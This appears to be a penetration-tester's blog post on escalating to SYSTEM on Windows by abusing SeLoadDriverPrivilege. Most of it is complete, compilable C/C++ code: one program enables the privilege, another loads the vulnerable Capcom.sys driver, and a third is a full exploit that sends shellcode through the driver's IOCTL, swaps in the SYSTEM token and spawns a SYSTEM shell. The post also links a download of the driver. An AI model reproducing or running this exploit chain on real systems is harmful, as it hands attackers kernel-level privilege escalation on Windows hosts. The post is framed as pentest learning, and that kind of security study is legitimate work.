SeLoadDriverPrivilege Right to Priv Esc with Capcom.sys

Hi Guy,

I would like to share experience during my pentest excercise either in the lab or in the real environment. I write this article by learning from various sources and package it into one place

This time I would like to share about a windows privilege that we can use to escalate ourself to NT Autority\System privilege. SeLoadDriverPrivilege is a windows privilege that allow an account to load system driver

There are two account that would be assinged that privilege by default is Administrator and Print Operators, If you are an ordinary user privilege which does not have that role yet, there would be some techniques to enable you to have that privilege which could be used as the post exploitation

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	system("cmd");
    return 0;
}

with the code above, You can enable the privileged token in your session.

To weapozine the privilege that you are having now, we can also modify a bit of our code above to allow us load the trojanized driver. The vulnerable driver that we are going to use is Capcom.sys

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"

NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);

int main()
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	bool bEnablePrivilege(true);
	HANDLE hToken(NULL);
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		L"SeLoadDriverPrivilege",   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %un", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege) {
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}
	
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %x", GetLastError());
		return FALSE;
	}

	//system("HERE IS THE DRIVER LOADING FUNCTION");
	
	std::cout << "[+] Set Registry Keys" << std::endl;
	NTSTATUS st1;
	UNICODE_STRING pPath;
	UNICODE_STRING pPathReg;
	PCWSTR pPathSource = L"C:\\rioasmara\\privileges\\Capcom.sys";
	PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
	const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
	HMODULE hObsolete = GetModuleHandleA(NTDLL);
	*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
	*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
	*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");

	RtlInitUnicodeString(&pPath, pPathSource);
	RtlInitUnicodeString(&pPathReg, pPathSourceReg);
	st1 = NtLoadDriver(&pPathReg);
	std::cout << "[+] value of st1: " << st1 << "\n";
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver Loaded as Kernel..\n";
		std::cout << "[+] Press [ENTER] to unload driver\n";
	}

	getchar();
	st1 = NtUnloadDriver(&pPathReg);
	if (st1 == ERROR_SUCCESS) {
		std::cout << "[+] Driver unloaded from Kernel..\n";
		std::cout << "[+] Press [ENTER] to exit\n";
		getchar();
	}

    return 0;
}

You can download the Capcom.sys from the URL below

https://mega.nz/file/GiBTmCRD#cRz3XWMEojDvrd0LHPE3GpXKkYdikITvco8qKwmdgzQ

Once the capcom.sys is loaded with the C code above

Then basically we can start the exploitation. You can run the C code below to gain the NT Authority

// Copyright (c) 2016 - 2020, Satoshi Tanda. All rights reserved.
// Use of this source code is governed by a MIT-style license that can be
// found in the LICENSE file.


#include "stdafx.h"
#pragma comment(lib, "ntdll.lib")

typedef void *PEPROCESS;

using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();

using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
    _Out_ PEPROCESS * Process);

using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);

using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
    _Inout_ PEPROCESS Process);

using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
    _In_ PACCESS_TOKEN PrimaryToken);

using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
    _In_ PUNICODE_STRING SystemRoutineName);

// Represents shellcode to be executed
#include <pshpack1.h>
typedef struct _SHELLCODE
{
    BYTE Nop[1];
    BYTE Sti[1];
    BYTE Jmp[6];
    void *PayloadAddress;
} SHELLCODE, *PSHELLCODE;
#include <poppack.h>

// Represents a layout of in-buffer for the vulnerable IOCTL
typedef struct _IOCTL_IN_BUFFER
{
    void *ShellcodeAddress;
    SHELLCODE Shellcode;
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;

static bool ExploitCapcomDriver();

static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress);

static void *GetSystemRoutineAddress(
    MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
    const wchar_t *RoutineName);

static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address);

static bool LaunchShell();


// Indicates whether token stealing is done successfully
static BOOLEAN gIsTokenStealingSuccessful = FALSE;

int main()
{
    ExploitCapcomDriver();
    return 0;
}

// Makes std::unique_ptr withe a custom deleter
template <class Resource, class Deleter> static
std::unique_ptr<Resource, Deleter> make_unique_ex(Resource *p,
    Deleter d = Deleter())
{
    return std::unique_ptr<Resource, Deleter>(p, std::forward<Deleter>(d));
}

// Exploits the vulnerable feature in capcom.sys and launches the SYSTEM cmd.exe
static bool ExploitCapcomDriver()
{
    std::cout << std::hex;
    std::cout << "[*] Capcom.sys exploit" << std::endl;

    // Open the device created by Capcom.sys
    auto DeviceHandle = make_unique_ex(
        CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, nullptr),
        ::CloseHandle);
    if (DeviceHandle.get() == INVALID_HANDLE_VALUE)
    {
        std::cout << "[-] CreateFile failed" << std::endl;
        return false;
    }
    std::cout << "[*] Capcom.sys handle was obtained as " << DeviceHandle.get()
        << std::endl;

    //
    // Allocate an executable memory containing shellcode. The data structure
    // should have an address of code to executed. In this exploit, trampoline
    // code leads to KernelPayload is also given as the function to execute.
    //
    auto InBufferContents = reinterpret_cast<PIOCTL_IN_BUFFER>(VirtualAlloc(
        nullptr, sizeof(IOCTL_IN_BUFFER), MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    if (!InBufferContents)
    {
        std::cout << "[-] VirtualAlloc failed" << std::endl;
        return false;
    }
    InBufferContents->ShellcodeAddress = &InBufferContents->Shellcode;

    //
    // This code is executed first by the feature on PASSIVE_LEVEL, interruption
    // disabled state. This shellcode first enables interruptions so that
    // Windows can page-in the KernelPayload even if it is paged-out, and
    // KernelPayload can call kernel API. Then this code transfers execution to
    // KernelPayload.
    //
    //
    InBufferContents->Shellcode = {
        { 0x90, },                                  //      nop     ; for debugging
        { 0xfb, },                                  //      sti
        { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00, },    //      jmp qword ptr [nextline]
                                                    // nextline:
        &KernelPayload,                             //      dq KernelPayload
    };
    std::cout << "[*] Shellcode was placed at " << &InBufferContents->Shellcode
        << std::endl;

    // +8 because, capcom.sys uses an address of IOCTL buffer - 8
    auto InBuffer = reinterpret_cast<ULONG_PTR>(InBufferContents) + 8;
    static_assert(sizeof(InBuffer) == 8, "an in buffer size must be 8");

    uint32_t OutBuffer = 0;
    static_assert(sizeof(OutBuffer) == 4, "an out buffer size must be 4");

    // Issue IOCTL for the vulnerable feature
    static const DWORD VulnerableIoctlCode = 0xaa013044;
    DWORD BytesReturned = 0;
    auto Ok = DeviceIoControl(DeviceHandle.get(), VulnerableIoctlCode, &InBuffer,
        sizeof(InBuffer), &OutBuffer, sizeof(OutBuffer),
        &BytesReturned, nullptr);
    VirtualFree(InBufferContents, 0, MEM_RELEASE);  // no longer necessary
    if (!Ok)
    {
        std::cout << "[-] DeviceIoControl failed" << std::endl;
        return false;
    }
    std::cout << "[+] Shellcode was executed" << std::endl;

    // Is this process running in the SYSTEM privileges
    if (!gIsTokenStealingSuccessful)
    {
        std::cout << "[-] Token stealing failed" << std::endl;
        return false;
    }
    std::cout << "[+] Token stealing was successful" << std::endl;

    // Launch command prompt
    if (!LaunchShell())
    {
        std::cout << "[-] CreateProcess() failed" << std::endl;
        return false;
    }
    std::cout << "[+] The SYSTEM shell was launched" << std::endl;
    std::cout << "[*] Press any key to exit this program" << std::endl;
    (void)getchar();
    return true;
}

//
// Performs token stealing and elevates the current process to SYSTEM
//
static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
{
    auto PsLookupProcessByProcessId =
        reinterpret_cast<PSLOOKUPPROCESSBYPROCESSID>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsLookupProcessByProcessId"));

    auto ObDereferenceObject =
        reinterpret_cast<OBDEREFERENCEOBJECT>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"ObDereferenceObject"));

    auto PsReferencePrimaryToken =
        reinterpret_cast<PSREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsReferencePrimaryToken"));

    auto PsDereferencePrimaryToken =
        reinterpret_cast<PSDEREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsDereferencePrimaryToken"));

    auto PsGetCurrentProcessId =
        reinterpret_cast<PSGETCURRENTPROCESSID>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsGetCurrentProcessId"));

    // Get the process object of the kernel
    auto SystemProcess =
        *reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));

    // Get the process object of the current process
    PEPROCESS CurrentProcess = nullptr;
    NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),
        &CurrentProcess);
    if (!NT_SUCCESS(Status))
    {
        return;
    }

    auto CurrentToken = PsReferencePrimaryToken(CurrentProcess);
    auto SystemToken = PsReferencePrimaryToken(SystemProcess);

    // Search the token field from EPROCESS up to a 0xb0 pointers size
    for (auto Offset = 0ul; Offset < sizeof(void *) * 0xb0;
        Offset += sizeof(void *))
    {
        // Is this address stores token?
        const auto TestAddress =
            reinterpret_cast<ULONG_PTR>(CurrentProcess) + Offset;
        const auto ProbableToken = GetProceesTokenAddress(TestAddress);
        if (ProbableToken == CurrentToken)
        {
            // Found the field, replace the contents with the SYSTEM token
            auto TokenAddress = reinterpret_cast<PACCESS_TOKEN *>(TestAddress);
            *TokenAddress = SystemToken;
            gIsTokenStealingSuccessful = TRUE;
            break;
        }
    }

    PsDereferencePrimaryToken(CurrentToken);
    PsDereferencePrimaryToken(SystemToken);
    ObDereferenceObject(CurrentProcess);
}

// Returns an address of exports in NT or HAL
static void *GetSystemRoutineAddress(
    MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
    const wchar_t *RoutineName)
{
    UNICODE_STRING RoutineNameU = {};
    RtlInitUnicodeString(&RoutineNameU, RoutineName);
    return MmGetSystemRoutineAddress(&RoutineNameU);
}

// Returns an address of a token assuming that Address points to the Token field
static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
    //
    // To get an address of a token from the Token field in EPROCESS, the lowest
    // N bits where N is size of a RefCnt field needs to be masked.
    //
    // kd> dt nt!_EX_FAST_REF
    //   + 0x000 Object : Ptr64 Void
    //   + 0x000 RefCnt : Pos 0, 4 Bits
    //   + 0x000 Value  : Uint8B
    //
    const auto Value = *reinterpret_cast<ULONG_PTR *>(Address);
    return reinterpret_cast<PACCESS_TOKEN>(Value &
        (static_cast<ULONG_PTR>(~0xf)));
}

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

You can compile and run the code above to escalate yourself to NT AUTHORITY

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s